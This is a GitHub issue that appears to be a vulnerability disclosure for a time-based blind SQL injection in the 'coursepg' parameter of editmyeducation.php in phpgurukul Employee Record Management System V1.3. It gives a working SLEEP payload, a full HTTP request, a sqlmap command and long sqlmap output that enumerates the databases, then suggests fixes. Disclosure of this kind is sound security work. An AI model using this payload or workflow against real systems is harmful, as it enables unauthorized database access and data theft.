New issue

phpgurukul Employee Record Management System Project V1.3 editmyeducation.php SQL injection #3

Open

ideal-valli opened 2 weeks ago

phpgurukul Employee Record Management System Project V1.3 editmyeducation.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Employee Record Management System

Vendor Homepage

- https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- valli

Vulnerable File

- editmyeducation.php

VERSION(S)

- V1.3

Software Link

- https://phpgurukul.com/?sdm_process_download=1&download_id=8967

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was identified within the "editmyeducation.php" file of the "Employee Record Management System" project. The root cause lies in the fact that attackers can inject malicious code via the parameter "coursepg". This input is then directly utilized in SQL queries without undergoing proper sanitization or validation processes. As a result, attackers are able to fabricate input values, manipulate SQL queries, and execute unauthorized operations.

Impact

- Exploiting this SQL injection vulnerability allows attackers to gain unauthorized access to the database, cause sensitive data leakage, tamper with data, gain complete control over the system, and even disrupt services. This poses a severe threat to both the security of the system and the continuity of business operations.

DESCRIPTION

- During the security assessment of "Employee Record Management System", I detected a critical SQL injection vulnerability in the "editmyeducation.php" file. This vulnerability is attributed to the insufficient validation of user input for the "coursepg" parameter. This inadequacy enables attackers to inject malicious SQL queries. Consequently, attackers can access the database without proper authorization, modify or delete data, and obtain sensitive information. Immediate corrective actions are essential to safeguard system security and uphold data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability location:

- "coursepg" parameter

Payload:

```
Parameter: coursepg (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: coursepg=1' AND (SELECT 9806 FROM (SELECT(SLEEP(5)))OsDP) AND 'RMlY'='RMlY&schoolclgpg
```

Vulnerability Request Packet

```
POST /erms/editmyeducation.php HTTP/1.1
Host: 192.168.16.1
Content-Length: 185
Cache-Control: max-age=0
Origin: http://192.168.16.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
Referer: http://192.168.16.1/erms/editmyeducation.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=1sgk3nvmoh0v6ed9mu0gpq60n6
Connection: keep-alive

coursepg=1&schoolclgpg=1&yoppg=1&pipg=1&coursegra=1&schoolclggra=1&yopgra=1&pigra=1&coursessc=1
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r erms_editmyeducation.txt --dbs
```

```
D:\Tools\sqlmap>python sqlmap.py -r "D:\bug\response\erms_editmyeducation.txt" --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.4.1#dev}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws
. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:53:17 /2025-04-18/

[10:53:17] [INFO] parsing HTTP request from 'D:\bug\response\erms_editmyeducation.txt'
[10:53:17] [INFO] testing connection to the target URL
[10:53:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:53:36] [INFO] testing if the target URL content is stable
[10:53:46] [INFO] target URL content is stable
[10:53:46] [INFO] testing if POST parameter 'coursepg' is dynamic
[10:53:56] [WARNING] POST parameter 'coursepg' does not appear to be dynamic
[10:54:05] [WARNING] heuristic (basic) test shows that POST parameter 'coursepg' might not be injectable
[10:54:15] [INFO] testing for SQL injection on POST parameter 'coursepg'
[10:54:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:54:24] [WARNING] reflective value(s) found and filtering out
[10:55:59] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:56:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:57:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:57:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:58:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:59:28] [INFO] testing 'Generic inline queries'
[10:59:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:00:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:00:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:01:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:02:47] [INFO] POST parameter 'coursepg' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[11:03:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:03:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:06:56] [INFO] checking if the injection point on POST parameter 'coursepg' is a false positive
POST parameter 'coursepg' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[11:12:19] [INFO] testing if POST parameter 'schoolclgpg' is dynamic
[11:12:28] [CRITICAL] connection was forcibly closed by the target URL. sqlmap is going to retry the request(s)
[11:12:37] [WARNING] POST parameter 'schoolclgpg' does not appear to be dynamic
[11:12:47] [WARNING] heuristic (basic) test shows that POST parameter 'schoolclgpg' might not be injectable
[11:12:56] [INFO] testing for SQL injection on POST parameter 'schoolclgpg'
[11:12:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:14:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:16:38] [CRITICAL] connection was forcibly closed by the target URL. sqlmap is going to retry the request(s)
```

```
[11:16:57] [INFO] testing 'Generic inline queries'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

[11:17:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:18:22] [WARNING] POST parameter 'schoolclgpg' does not seem to be injectable
[11:18:22] [INFO] testing if POST parameter 'yoppg' is dynamic
[11:18:31] [WARNING] POST parameter 'yoppg' does not appear to be dynamic
[11:18:41] [WARNING] heuristic (basic) test shows that POST parameter 'yoppg' might not be injectable
[11:18:50] [INFO] testing for SQL injection on POST parameter 'yoppg'
[11:18:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:20:35] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:20:54] [INFO] testing 'Generic inline queries'
[11:21:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:22:19] [WARNING] POST parameter 'yoppg' does not seem to be injectable
[11:22:19] [INFO] testing if POST parameter 'pipg' is dynamic
[11:22:29] [WARNING] POST parameter 'pipg' does not appear to be dynamic
[11:22:38] [WARNING] heuristic (basic) test shows that POST parameter 'pipg' might not be injectable
[11:22:48] [INFO] testing for SQL injection on POST parameter 'pipg'
[11:22:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:24:32] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:24:51] [INFO] testing 'Generic inline queries'
[11:25:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:26:35] [WARNING] POST parameter 'pipg' does not seem to be injectable
[11:29:17] [INFO] testing if POST parameter 'coursegra' is dynamic
[11:29:27] [CRITICAL] connection was forcibly closed by the target URL. sqlmap is going to retry the request(s)
[11:29:36] [WARNING] POST parameter 'coursegra' does not appear to be dynamic
[11:29:46] [WARNING] heuristic (basic) test shows that POST parameter 'coursegra' might not be injectable
[11:29:55] [INFO] testing for SQL injection on POST parameter 'coursegra'
[11:29:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:31:40] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:31:58] [INFO] testing 'Generic inline queries'
[11:32:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:33:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNIO
N query injection technique test
[11:34:11] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N]

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]

[11:36:43] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[11:39:53] [WARNING] POST parameter 'coursegra' does not seem to be injectable
[11:39:53] [INFO] testing if POST parameter 'schoolclggra' is dynamic
[11:40:02] [WARNING] POST parameter 'schoolclggra' does not appear to be dynamic
[11:40:12] [WARNING] heuristic (basic) test shows that POST parameter 'schoolclggra' might not be injectable
[11:40:21] [INFO] testing for SQL injection on POST parameter 'schoolclggra'
[11:40:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:42:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:42:25] [INFO] testing 'Generic inline queries'
```

```
[11:56:24] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:24] [INFO] testing 'Generic inline queries'
[11:56:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:25] [WARNING] POST parameter 'yopgra' does not seem to be injectable
[11:56:25] [INFO] testing if POST parameter 'pigra' is dynamic
[11:56:26] [WARNING] POST parameter 'pigra' does not appear to be dynamic
[11:56:26] [WARNING] heuristic (basic) test shows that POST parameter 'pigra' might not be injectable
[11:56:26] [INFO] testing for SQL injection on POST parameter 'pigra'
[11:56:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:26] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:26] [INFO] testing 'Generic inline queries'
[11:56:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:27] [WARNING] POST parameter 'pigra' does not seem to be injectable
[11:56:27] [INFO] testing if POST parameter 'coursessc' is dynamic
[11:56:27] [WARNING] POST parameter 'coursessc' does not appear to be dynamic
[11:56:27] [WARNING] heuristic (basic) test shows that POST parameter 'coursessc' might not be injectable
[11:56:27] [INFO] testing for SQL injection on POST parameter 'coursessc'
[11:56:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:27] [INFO] testing 'Generic inline queries'
[11:56:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:30] [WARNING] POST parameter 'coursessc' does not seem to be injectable
[11:56:30] [INFO] testing if POST parameter 'schoolclgssc' is dynamic
[11:56:30] [WARNING] POST parameter 'schoolclgssc' does not appear to be dynamic
[11:56:30] [WARNING] heuristic (basic) test shows that POST parameter 'schoolclgssc' might not be injectable
[11:56:30] [INFO] testing for SQL injection on POST parameter 'schoolclgssc'
[11:56:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:30] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:30] [INFO] testing 'Generic inline queries'
[11:56:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:31] [WARNING] POST parameter 'schoolclgssc' does not seem to be injectable
[11:56:31] [INFO] testing if POST parameter 'yopssc' is dynamic
[11:56:31] [WARNING] POST parameter 'yopssc' does not appear to be dynamic
[11:56:31] [WARNING] heuristic (basic) test shows that POST parameter 'yopssc' might not be injectable
[11:56:31] [INFO] testing for SQL injection on POST parameter 'yopssc'
[11:56:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:32] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:32] [INFO] testing 'Generic inline queries'
[11:56:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:33] [WARNING] POST parameter 'yopssc' does not seem to be injectable
[11:56:33] [INFO] testing if POST parameter 'pissc' is dynamic
[11:56:33] [WARNING] POST parameter 'pissc' does not appear to be dynamic
[11:56:33] [WARNING] heuristic (basic) test shows that POST parameter 'pissc' might not be injectable
[11:56:33] [INFO] testing for SQL injection on POST parameter 'pissc'
[11:56:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:33] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:33] [INFO] testing 'Generic inline queries'
[11:56:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:34] [WARNING] POST parameter 'pissc' does not seem to be injectable
```

```
[11:56:34] [INFO] testing if POST parameter 'coursehsc' is dynamic
[11:56:34] [WARNING] POST parameter 'coursehsc' does not appear to be dynamic
[11:56:34] [WARNING] heuristic (basic) test shows that POST parameter 'coursehsc' might not be injectable
[11:56:34] [INFO] testing for SQL injection on POST parameter 'coursehsc'
[11:56:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:35] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:35] [INFO] testing 'Generic inline queries'
[11:56:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:36] [WARNING] POST parameter 'coursehsc' does not seem to be injectable
[11:56:36] [INFO] testing if POST parameter 'schoolclghsc' is dynamic
[11:56:36] [WARNING] POST parameter 'schoolclghsc' does not appear to be dynamic
[11:56:36] [WARNING] heuristic (basic) test shows that POST parameter 'schoolclghsc' might not be injectable
[11:56:36] [INFO] testing for SQL injection on POST parameter 'schoolclghsc'
[11:56:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:37] [INFO] testing 'Generic inline queries'
[11:56:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:38] [WARNING] POST parameter 'schoolclghsc' does not seem to be injectable
[11:56:38] [INFO] testing if POST parameter 'yophsc' is dynamic
[11:56:38] [WARNING] POST parameter 'yophsc' does not appear to be dynamic
[11:56:38] [WARNING] heuristic (basic) test shows that POST parameter 'yophsc' might not be injectable
[11:56:38] [INFO] testing for SQL injection on POST parameter 'yophsc'
[11:56:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:38] [INFO] testing 'Generic inline queries'
[11:56:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:39] [WARNING] POST parameter 'yophsc' does not seem to be injectable
[11:56:39] [INFO] testing if POST parameter 'pihsc' is dynamic
[11:56:39] [WARNING] POST parameter 'pihsc' does not appear to be dynamic
[11:56:39] [WARNING] heuristic (basic) test shows that POST parameter 'pihsc' might not be injectable
[11:56:39] [INFO] testing for SQL injection on POST parameter 'pihsc'
[11:56:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:40] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:40] [INFO] testing 'Generic inline queries'
[11:56:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:41] [WARNING] POST parameter 'pihsc' does not seem to be injectable
[11:56:41] [INFO] testing if POST parameter 'submit' is dynamic
[11:56:41] [WARNING] POST parameter 'submit' does not appear to be dynamic
[11:56:41] [WARNING] heuristic (basic) test shows that POST parameter 'submit' might not be injectable
[11:56:41] [INFO] testing for SQL injection on POST parameter 'submit'
[11:56:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:56:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:56:41] [INFO] testing 'Generic inline queries'
[11:56:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:56:43] [WARNING] POST parameter 'submit' does not seem to be injectable
```

```
sqlmap identified the following injection point(s) with a total of 1022 HTTP(s) requests:
---
Parameter: coursepg (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: coursepg=1' AND (SELECT 9806 FROM (SELECT(SLEEP(5)))OsDP) AND 'RM1Y'='RM1Y&schoolclgpg=1&yoppg=1&pipg=1&coursegra=1&schoolclggra=1&yopgra=1&pigra=1&coursessc=1&schoolclgssc=1&yopssc=1&pissc=1&coursehsc=1&schoolclghsc=1&yophsc=1&pihsc=1&submit=update
---
[11:56:43] [INFO] the back-end DBMS is MySQL
[11:56:43] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[11:56:44] [INFO] fetching database names
[11:56:44] [INFO] fetching number of databases
[11:56:44] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

2
[11:56:54] [INFO] retrieved:
[11:56:59] [INFO] adjusting time delay to 2 seconds due to good response times
information_schema
[11:58:54] [INFO] retrieved: ermsdb
available databases [2]:
[*] ermsdb
[*] information_schema

[11:59:29] [INFO] fetched data logged to text files under 'C:\Users\A\AppData\Local\sqlmap\output\192.168.16.1'

[*] ending @ 11:59:29 /2025-04-18/
```

Suggested repair

1. **Employ prepared statements and parameter binding:**
   Prepared statements serve as an effective safeguard against SQL injection as they segregate SQL code from user input data. When using prepared statements, user - entered values are treated as mere data and will not be misconstrued as SQL code.

2. **Conduct input validation and filtering:**
   Rigorously validate and filter user input data to guarantee that it conforms to the expected format. This helps in blocking malicious input.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has only the minimum required permissions. Avoid using accounts with elevated privileges (such as 'root' or 'admin') for day - to - day operations.

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants